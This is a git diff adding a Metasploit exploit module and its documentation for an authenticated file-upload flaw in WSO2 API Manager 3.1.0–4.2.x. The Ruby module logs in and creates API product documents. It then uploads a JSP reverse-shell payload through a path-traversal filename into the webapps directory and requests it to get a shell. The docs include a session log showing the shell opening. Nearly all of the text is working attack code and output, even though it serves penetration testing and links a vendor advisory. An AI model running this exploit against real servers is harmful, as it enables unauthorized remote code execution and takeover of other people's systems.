diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md new file mode 100644 index 000000000000..19f7136e84a7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions +(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled +server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + +```yaml +services: + api-manager: + image: wso2/wso2am:4.0.0-alpine + container_name: swo2_api_manager + ports: + - "9443:9443" + +``` + +```bash +docker-compose up +``` +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use multi/http/wso2_api_manager_file_upload_rce` +1. Do: `set rhosts [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell. + +## Scenarios + +### WSO2 API Manager 4.0.0 +``` +msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit + +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking target... +[+] Authentication successful +[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable. +[+] Authentication successful +[*] Listing APIs... +[+] Document created successfully +[*] Uploading payload... +[+] Payload uploaded successfully +[*] Executing payload... +[+] Payload executed successfully +[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100 + +id +uid=802(wso2carbon) gid=802(wso2) groups=802(wso2) +pwd +/home/wso2carbon/wso2am-4.0.0 +exit +[*] 127.0.0.1 - Command shell session 2 closed. +``` + +## Options + +### HttpUsername (required) + +The username to authenticate with. + +### HttpPassword (required) + +The password of the user to authenticate with. + +### RHOSTS (required) + +The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + +### RPORT (required) + +The target port (TCP) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb new file mode 100644 index 000000000000..f644240df58f --- /dev/null +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -0,0 +1,449 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + attr_accessor :bearer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution', + 'Description' => %q{ + A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions + (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled + server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + }, + 'Author' => [ + 'Siebene@ <@Siebene7>', # Discovery + 'Heyder Andrade <@HeyderAndrade>', # metasploit module + 'Redway Security ' # Writeup and PoC + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC + [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup + [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ] + ], + 'DefaultOptions' => { + 'Payload' => 'java/jsp_shell_reverse_tcp', + 'SSL' => true, + 'RPORT' => 9443 + }, + 'Platform' => %w[linux win], + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + [ + 'Automatic', {} + ], + [ + 'WSO2 API Manager (3.1.0 - 4.0.0)', { + 'min_version' => '3.1.0', + 'max_version' => '4.0.9', + 'api_version' => 'v2' + }, + ], + [ + 'WSO2 API Manager (4.1.0)', { + 'min_version' => '4.1.0', + 'max_version' => '4.1.9', + 'api_version' => 'v3' + } + ], + [ + 'WSO2 API Manager (4.2.0)', { + 'min_version' => '4.2.0', + 'max_version' => '4.2.9', + 'api_version' => 'v4' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-05-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']), + OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']), + OptString.new('HttpPassword', [true, 'WSO2 API manager password', '']) + ] + ) + end + + def check + vprint_status('Checking target...') + + begin + authenticate + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'services', 'Version'), + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ + + xml = res.get_xml_document + xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/) + version = Rex::Version.new ::Regexp.last_match(1) + + return CheckCode::Unknown('Unable to determine version') unless version + + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?( + Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9') + ) + + if target.name == 'Automatic' + # Find the target based on the detected version + selected_target_index = nil + targets.each_with_index do |t, idx| + if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version'])) + selected_target_index = idx + break + end + end + + return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index + + # Set the target + datastore['TARGET'] = selected_target_index + vprint_status("Automatically selected target: #{target.name} for version #{version}") + else + vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( + Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) + ) + end + + report_vuln( + host: rhost, + name: name, + refs: references, + info: [version] + ) + + return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.") + end + + def authenticate + nounce = nil + + opts = { + 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), + 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true + } + res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth + + if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) + vprint_status('Got session nonce') + nounce = ::Regexp.last_match(1) + end + + fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce + + auth_data = { + 'usernameUserInput' => datastore['HttpUsername'], + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'], + 'sessionDataKey' => nounce + } + + opts = { + 'uri' => normalize_uri(target_uri.path, '/commonauth'), + 'method' => 'POST', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true, + 'vars_post' => auth_data + } + + res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth + + if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) + vprint_status('Got bearer token') + self.bearer = ::Regexp.last_match(1) + end + + fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer + + print_good('Authentication successful') + end + + def list_product_api + vprint_status('Listing products APIs...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'vars_get' => { + 'limit' => 10, + 'offset' => 0 + }, + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200 + + api_list = res.get_json_document['list'] + + if api_list.empty? + print_error('No Products API available') + print_status('Trying to create an API...') + api_list = [create_product_api] + end + + return api_list + end + + def create_api + api_data = { + 'name' => Faker::App.name, + 'description' => Faker::Lorem.sentence, + 'context' => "/#{Faker::Internet.slug}", + 'version' => Faker::App.version, + 'transport' => ['http', 'https'], + 'tags' => [Faker::ProgrammingLanguage.name], + 'policies' => ['Unlimited'], + 'securityScheme' => ['oauth2'], + 'visibility' => 'PUBLIC', + 'businessInformation' => { + 'businessOwner' => Faker::Name.name, + 'businessOwnerEmail' => Faker::Internet.email, + 'technicalOwner' => Faker::Name.name, + 'technicalOwnerEmail' => Faker::Internet.email + }, + 'endpointConfig' => { + 'endpoint_type' => 'http', + 'sandbox_endpoints' => { + 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" + }, + 'production_endpoints' => { + 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" + } + }, + 'operations' => [ + { + 'target' => "/#{Faker::Internet.slug}", + 'verb' => 'GET', + 'throttlingPolicy' => 'Unlimited', + 'authType' => 'Application & Application User' + } + ] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201 + + print_good('API created successfully') + return res.get_json_document + end + + def create_product_api + @api_id = create_api['id'] + + product_api_data = { + 'name' => Faker::App.name, + 'context' => Faker::Internet.slug, + 'policies' => ['Unlimited'], + 'apis' => [ + { + 'name' => '', + 'apiId' => @api_id, + 'operations' => [], + 'version' => '1.0.0' + } + ], + 'transport' => ['http', 'https'] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => product_api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 + + @api_created = true + + print_good('API Product created successfully') + + return res.get_json_document + end + + def create_document(api_id) + doc_data = { + 'name' => Rex::Text.rand_text_alpha(4..7), + 'type' => 'HOWTO', + 'summary' => Faker::Lorem.sentence, + 'sourceType' => 'FILE', + 'visibility' => 'API_LEVEL' + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => doc_data.to_json + ) + + unless res&.code == 201 + vprint_error("Failed to create document for API #{api_id}") + return + end + + print_good('Document created successfully') + + return res.get_json_document['documentId'] + end + + def upload_payload(api_id, doc_id) + print_status('Uploading payload...') + + post_data = Rex::MIME::Message.new + post_data.bound = rand_text_numeric(32) + post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + ) + fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 + + register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}") + + print_good("Payload uploaded successfully. File: #{jsp_filename}") + + return res + end + + def execute_payload + print_status('Executing payload... ') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename), + 'method' => 'GET' + ) + + fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200 + + print_good('Payload executed successfully') + + handler + end + + def exploit + authenticate unless bearer + api_avaliable = list_product_api + api_avaliable.each do |product_api| + @product_api_id = product_api['id'] + @doc_id = create_document(@product_api_id) + next unless @doc_id + + res = upload_payload(@product_api_id, @doc_id) + if res&.code == 201 + execute_payload + break + end + end + end + + def cleanup + return unless session_created? + + super + + # If we have created the API, we need to delete it; thus the documentation + return delele_product_api && delele_api if @api_created + + # If the API was already there, we deleted only the documentation. + delete_document + end + + def jsp_filename + @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" + end + + def delete_document + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return res&.code == 200 + end + + def delele_api + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + return res&.code == 200 + end + + def delele_product_api + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + return res&.code == 200 + end + +end